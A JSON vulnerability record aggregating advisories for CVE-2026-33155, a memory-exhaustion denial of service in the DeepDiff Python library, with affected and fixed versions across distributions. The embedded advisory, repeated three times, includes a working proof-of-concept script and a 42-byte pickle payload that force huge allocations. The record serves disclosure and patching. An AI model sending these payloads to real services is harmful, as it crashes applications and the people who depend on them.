{"id":"CVE-2026-33155","aliases":["CLSA-2026-1781139163","DEBIAN-CVE-2026-33155","EUVD-2026-13792","GHSA-54jj-px8x-5w5q","PYSEC-2026-2445","SUSE-SU-2026:1094-1","UBUNTU-CVE-2026-33155","openSUSE-SU-2026:10417-1"],"status":"published","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00471,"percentile":0.40982,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2026-03-18T20:10:08Z","modified":"2026-11-05T11:46:36Z","fixes":[{"ecosystem":"PyPI","package":"deepdiff","fixed_in":["8.6.2"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:PyPI","package":"deepdiff","fixed_in":["6.2.3.post2+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"deepdiff","fixed_in":["8.1.1-4+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"deepdiff","fixed_in":["9.0.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"python-deepdiff","fixed_in":["6.3.0-150600.3.6.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-deepdiff","fixed_in":["8.6.2-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"last_affected":"8.6.1"},{"fixed":"8.6.2"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.3"},{"fixed":"6.2.3.post2+tuxcare"}]}],"versions":["6.2.3","6.2.3.post1+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.2-1","6.7.1-1","6.7.1-2","8.1.1-1","8.1.1-2","8.1.1-3","8.1.1-4","8.6.1-1","9.0.0-1","9.0.0-2"]},{"source":"osv","ecosystem":"Debian:13","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.1.1-4+deb13u1"}]}],"versions":["8.1.1-4"]},{"source":"osv","ecosystem":"Debian:14","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.0-1"}]}],"versions":["8.1.1-4","8.6.1-1"]},{"source":"osv","ecosystem":"PyPI","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"8.6.2"}]}],"versions":["5.0.0","5.0.1","5.0.2","5.2.0","5.2.1","5.2.2","5.2.3","5.3.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","6.2.1","6.2.2","6.2.3","6.3.0","6.3.1","6.4.0","6.4.1","6.5.0","6.6.0","6.6.1","6.7.0","6.7.1","7.0.0","7.0.1","8.0.0","8.0.1","8.1.0","8.1.1","8.2.0","8.3.0","8.4.0","8.4.1","8.4.2","8.5.0","8.6.0","8.6.1"]},{"source":"osv","ecosystem":"PyPI","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"8.6.2"}]}],"versions":["5.0.0","5.0.1","5.0.2","5.2.0","5.2.1","5.2.2","5.2.3","5.3.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","6.2.1","6.2.2","6.2.3","6.3.0","6.3.1","6.4.0","6.4.1","6.5.0","6.6.0","6.6.1","6.7.0","6.7.1","7.0.0","7.0.1","8.0.0","8.0.1","8.1.0","8.1.1","8.2.0","8.3.0","8.4.0","8.4.1","8.4.2","8.5.0","8.6.0","8.6.1"]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.3.0-150600.3.6.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.0-2","3.3.0-2ubuntu1","3.3.0-3","5.6.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.2-1","6.7.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.1-3","8.1.1-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.6.1-1","9.0.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.1-4","8.6.1-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-deepdiff","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.6.2-1.1"}]}]}],"products":[{"vendor":"qluster","product":"deepdiff"},{"vendor":"seperman","product":"deepdiff"}],"references":[{"url":"https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33155","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-54jj-px8x-5w5q","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33155.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33155","tags":["advisory"]},{"url":"https://github.com/seperman/deepdiff","tags":["package"]},{"url":"https://pypi.org/project/deepdiff","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261094-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1260064","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33155","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-33155","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33155","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-33155","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T20:25:53.405Z","modified":"2026-03-24T02:03:16.623Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-13792","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T20:25:53Z","modified":"2026-03-24T02:03:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:30.696372Z"}],"ghsa":[{"id":"GHSA-54jj-px8x-5w5q","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes      (passes find_class check — serialization.py:353)\nINT    10000000000          (10 billion)\nTUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n    \"\"\"Cap virtual memory for this process.\"\"\"\n    soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n    maxsize_bytes = maxsize_mb * 1024 * 1024\n    try:\n        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n        print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n    except ValueError:\n        print(\"[!] Failed to set memory limit.\")\n        sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n    'values_changed': {\"root['x']\": {'new_value': 10**8}},\n    'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n    result = target + Delta(payload1)\n    print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n    print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n    b\"(dp0\\n\"\n    b\"S'_'\\n\"\n    b\"cbuiltins\\nbytes\\n\"\n    b\"(I100000000\\n\"\n    b\"tR\"\n    b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n    result2 = pickle_load(payload2)\n    print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.","status":"published","published":"2026-03-18T20:10:08Z","modified":"2026-04-14T21:59:48Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-33155","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T21:17:15.91Z","modified":"2026-06-17T10:37:02.55Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-33155","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T20:25:53.405Z","modified":"2026-10-28T02:30:44.875489579Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"DEBIAN-CVE-2026-33155","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T21:17:15.91Z","modified":"2026-10-01T03:02:37.101958152Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-54jj-px8x-5w5q","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes      (passes find_class check — serialization.py:353)\nINT    10000000000          (10 billion)\nTUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n    \"\"\"Cap virtual memory for this process.\"\"\"\n    soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n    maxsize_bytes = maxsize_mb * 1024 * 1024\n    try:\n        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n        print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n    except ValueError:\n        print(\"[!] Failed to set memory limit.\")\n        sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n    'values_changed': {\"root['x']\": {'new_value': 10**8}},\n    'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n    result = target + Delta(payload1)\n    print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n    print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n    b\"(dp0\\n\"\n    b\"S'_'\\n\"\n    b\"cbuiltins\\nbytes\\n\"\n    b\"(I100000000\\n\"\n    b\"tR\"\n    b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n    result2 = pickle_load(payload2)\n    print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.","status":"published","published":"2026-03-18T20:10:08Z","modified":"2026-09-10T03:50:59.794940369Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"PYSEC-2026-2445","title":"DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT","description":"### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes      (passes find_class check — serialization.py:353)\nINT    10000000000          (10 billion)\nTUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n    \"\"\"Cap virtual memory for this process.\"\"\"\n    soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n    maxsize_bytes = maxsize_mb * 1024 * 1024\n    try:\n        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n        print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n    except ValueError:\n        print(\"[!] Failed to set memory limit.\")\n        sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n    'values_changed': {\"root['x']\": {'new_value': 10**8}},\n    'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n    result = target + Delta(payload1)\n    print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n    print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n    b\"(dp0\\n\"\n    b\"S'_'\\n\"\n    b\"cbuiltins\\nbytes\\n\"\n    b\"(I100000000\\n\"\n    b\"tR\"\n    b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n    result2 = pickle_load(payload2)\n    print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.","status":"published","published":"2026-07-13T14:36:43.658842Z","modified":"2026-07-13T16:31:43.813823082Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-33155","description":"DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.","status":"published","published":"2026-03-20T21:17:00Z","modified":"2026-11-05T11:46:36.754610134Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-05T13:30:15.321876Z"},{"id":"CLSA-2026-1781139163","title":"TuxCare security update for deepdiff (1 CVE)","description":"TuxCare rebuilt deepdiff to address 1 CVE. Fixed in 6.2.3.post2+tuxcare.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:48:01.232544724Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"openSUSE-SU-2026:10417-1","title":"python311-deepdiff-8.6.2-1.1 on GA media","description":"These are all security issues fixed in the python311-deepdiff-8.6.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-24T00:00:00Z","modified":"2026-03-25T08:31:25.165971Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"SUSE-SU-2026:1094-1","title":"Security update for python-deepdiff","description":"This update for python-deepdiff fixes the following issues:\n\n- CVE-2026-33155: Fixed denial of service via builtins.bytes, builtins.list, builtins.range (bsc#1260064).\n","status":"published","published":"2026-03-26T17:56:23Z","modified":"2026-03-28T08:45:21.51266Z","updated_at":"2026-11-02T15:54:01.262144Z"}]}}